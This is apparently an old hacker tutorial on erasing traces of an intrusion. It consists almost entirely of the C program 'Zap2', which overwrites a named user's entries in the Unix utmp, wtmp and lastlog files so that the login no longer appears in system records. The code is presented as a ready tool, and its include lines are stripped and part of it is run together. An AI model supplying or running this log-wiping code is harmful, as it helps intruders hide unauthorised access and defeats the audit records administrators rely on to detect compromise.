Erasing Your Presence From System Logs

¤¤ Erasing Your Presence From System Logs ¤¤



Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.



Example:



#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;



if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}



void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;



pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {



while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}



} else printf("%s: ?\n",who);

}



main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}